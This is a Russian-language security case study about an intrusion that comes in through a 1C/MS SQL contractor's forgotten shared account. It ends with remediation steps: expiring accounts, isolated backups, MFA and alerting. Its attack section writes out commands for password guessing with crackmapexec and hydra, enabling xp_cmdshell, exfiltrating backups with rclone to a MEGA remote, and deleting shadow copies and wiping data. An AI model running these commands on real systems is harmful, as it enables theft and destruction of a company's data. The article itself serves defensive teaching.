Взлом подрядчика по 1С: как забытый доступ чуть не обнулил пять лет клиентской базы

Летом-осенью подобные новости стали появляться регулярно: злоумышленники ломают не саму цель, а её ИТ-подрядчика — компанию, которая разрабатывает или сопровождает софт для десятков клиентов сразу, — и грозятся уничтожить всё, до чего дотянутся через общую инфраструктуру. Один из таких инцидентов и стал поводом для звонка владельца производственной компании в пятницу вечером: его подрядчик прислал письмо о взломе, а сам он был уверен, что это «не его проблема». Проблема оказалась именно его — просто спрятанная на два года глубже, чем казалось.

Где на самом деле была дыра

При разборе истории совместной работы за два года всплыла типичная для рынка подрядной разработки картина:

• Три года назад подрядчику выдали доступ к базе клиентов и заказов для доработки отчётов — доступ был не проектным, а бессрочным.
• Учётная запись была общей на всю команду подрядчика — «под задачу», без персонализации.
• Пароль от этой учётки не менялся с момента выдачи — то есть свыше двух лет.
• Резервные копии базы лежали в той же директории на том же сервере, что и рабочая база — классическая ошибка «бэкап есть, но толку от него не будет».
• Внутри компании-заказчика никто не мог назвать поимённо, кто из сотрудников подрядчика физически имеет доступ и с каких IP.

Технически это означает одно: если у злоумышленника есть контроль над инфраструктурой подрядчика (рабочие станции разработчиков, VPN-шлюз, хранилище паролей в менеджере вроде KeePass/1Password на общем диске), он автоматически получает и все credentials, которые подрядчик когда-либо использовал для работы с клиентами — включая давно забытые.

Как это эксплуатируется

Ниже — типовая цепочка, по которой развивается атака «через подрядчика» на инфраструктуру 1С/MS SQL, характерную для производственных компаний.

1. Разведка периметра заказчика

Первый шаг — понять, какие сервисы заказчика доступны извне и какие из них связаны с подрядчиком (VPN, RDP, веб-публикация 1С).

nmap -sV -p 22,443,1433,3389,8080,80 -Pn client.example.ru

Starting Nmap 7.94
PORT     STATE SERVICE     VERSION
443/tcp  open  ssl/http    nginx 1.18.0
1433/tcp open  ms-sql-s    Microsoft SQL Server 2016 SP2
3389/tcp open  ms-wbt-server Microsoft Terminal Services
8080/tcp open  http        1C-Bitrix / 1C:Enterprise web-server

Открытый 1433 (MS SQL) и 3389 (RDP) наружу — это уже красный флаг: в 40–50% инцидентов с подрядчиками первоначальный доступ идёт именно через RDP/MSSQL, опубликованные «для удобства удалённой доработки».

2. Использование скомпрометированных credentials подрядчика

Если пароль общей учётки подрядчика не менялся два года, он почти наверняка есть в утечках, дампах менеджеров паролей или в открытом виде на скомпрометированной машине разработчика. Дальше — простая проверка валидности:

crackmapexec mssql client.example.ru -u contractor_svc -p 'Q1_dev2023' 

MSSQL   192.0.2.10  1433  CLIENT-DB  [+] client.example.ru\contractor_svc:Q1_dev2023 (Pwn3d!)

Или, если сервис — терминальный доступ:

hydra -l contractor_svc -P leaked_passwords.txt rdp://client.example.ru -t 4

[3389][rdp] host: client.example.ru   login: contractor_svc   password: Q1_dev2023

Учётная запись без ограничения по срокам и без MFA пускает злоумышленника напрямую в базу — не нужно ни фишинга у сотрудников заказчика, ни эксплойтов нулевого дня.

3. Закрепление и разведка внутри

Получив доступ к MSSQL, атакующий проверяет, можно ли выполнить команды ОС через xp_cmdshell — классическая техника постэксплуатации для инфраструктур 1С/MSSQL:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';

nt authority\network service
SeImpersonatePrivilege     Enabled

Дальше — поиск бэкапов на диске. Раз копии лежат рядом с базой, это находится за секунды:

EXEC xp_cmdshell 'dir D:\SQLBackup\*.bak /s';

D:\SQLBackup\ClientDB_full_2026-08-20.bak   14 512 384 KB
D:\SQLBackup\ClientDB_full_2026-08-27.bak   14 601 220 KB

После этого злоумышленник забирает и рабочую базу, и все её резервные копии одним заходом — восстановление становится невозможным, потому что уничтожается «и оригинал, и страховка» одновременно.

4. Эксфильтрация и уничтожение

Типичный сценарий вымогателя с «двойным давлением»: сначала выгрузка данных, затем — удаление или шифрование, чтобы лишить жертву возможности просто отказаться платить.

rclone copy D:\SQLBackup\ mega:exfil_client_db --transfers 8

vssadmin delete shadows /all /quiet
cipher /w:D:\SQLBackup\

На этом этапе теневые копии Windows (VSS) удаляются намеренно — это стандартный шаг перед вайпером или шифровальщиком, чтобы исключить восстановление средствами ОС.

Что и почему сработало бы дальше

Логика атаки строится не на технической сложности, а на доверии между заказчиком и подрядчиком, которое со временем перестаёт проверяться:

• Общая непривилегированная на первый взгляд учётка подрядчика на деле имела доступ к продовой базе — сегментации по ролям и задачам не было.
• Отсутствие MFA означало, что один утёкший пароль = полный доступ, без второго барьера.
• Бэкап рядом с базой означал, что «резервное копирование» существовало формально, а не как реальная линия обороны.
• Отсутствие мониторинга входов означало, что атакующий мог месяцами находиться внутри незамеченным, изучая, где ценные данные, прежде чем нажать «уничтожить».

Именно поэтому шантаж в духе «мы уничтожили данные всех, до кого дотянулись» — это не блеф ради психологического давления, а прямое следствие архитектуры, где один скомпрометированный подрядчик даёт доступ сразу к десяткам чужих баз.

Сколько это стоило бы в рублях

По расчётам владельца компании, потеря пяти лет истории заказов, цен и графика поставок означала бы минимум месяц простоя производства на восстановление данных вручную — около 3,5–4 млн рублей за счёт сорванных поставок, штрафов по договорам и ухода части клиентов к конкурентам. Это без учёта репутационных издержек и возможных выплат по утечке персональных данных контрагентов, если бы регулятор счёл инцидент разглашением ПДн.

Как закрыли

Работа заняла неделю и была направлена не на «латание» конкретной дыры, а на пересмотр всей модели доступа подрядчиков.

1. Отзыв и пересборка доступов подрядчика

# Windows AD: срочный отзыв учётной записи
Disable-ADAccount -Identity contractor_svc

# Выдача новой учётки с ограничением по сроку
New-ADUser -Name "contractor_2026Q4" `
  -AccountExpirationDate (Get-Date).AddMonths(2) `
  -Enabled $true

Новый доступ выдаётся под конкретную задачу, персонализированно (каждый разработчик — своя учётка, не общий сервисный логин), с автоматическим отключением по дате.

2. Разделение базы и резервных копий

# Копирование бэкапов на отдельное S3-совместимое хранилище
rclone copy D:\SQLBackup\ yc-remote:client-backups-cold --transfers 4

# Включение object lock (защита от удаления/перезаписи копий)
aws s3api put-object-lock-configuration \
  --bucket client-backups-cold \
  --object-lock-configuration '{"ObjectLockEnabled":"Enabled","Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":30}}}' \
  --endpoint-url https://storage.yandexcloud.net

Бэкапы хранятся физически отдельно от продовой базы и защищены от удаления даже при полной компрометации основного сервера — это правило «3-2-1»: минимум три копии, на двух разных носителях, одна вне основной площадки.

3. Многофакторная аутентификация для внешних подключений

# Пример настройки RDP + MFA через Duo Authentication Proxy
[radius_client]
ikey=DIxxxxxxxxxxxxxxxxxx
skey=***
host=127.0.0.1
radius_ip_1=127.0.0.1
radius_secret_1=***
client=ad_client

[ad_client]
host=192.0.2.5
service_account_username=svc_duo
service_account_password=***
search_dn=DC=client,DC=local

После включения MFA один скомпрометированный пароль перестаёт быть достаточным условием для входа — нужен и второй фактор, которого у злоумышленника нет.

4. Мониторинг и алертинг

# Пример правила на новый вход с неизвестного устройства (упрощённо, PowerShell + Task Scheduler)
Get-WinEvent -LogName Security -FilterXPath "*[System[(EventID=4624)]]" |
  Where-Object { $_.Properties[18].Value -notin $KnownIPs } |
  ForEach-Object { Send-TelegramAlert "Новый вход: $($_.Properties[5].Value) с IP $($_.Properties[18].Value)" }

Уведомление владельцу приходит в мессенджер при входе с нового устройства или IP — простое правило, которое превращает «атака шла месяцами незамеченной» в «атаку заметили в первые минуты».

5. Регулярный аудит доступов подрядчиков

# Периодическая выгрузка списка активных внешних учёток и даты последнего входа
Get-ADUser -Filter {Enabled -eq $true} -Properties LastLogonDate, Description |
  Where-Object { $_.Description -like "*contractor*" } |
  Select-Object Name, LastLogonDate, Description |
  Export-Csv contractors_audit.csv -NoT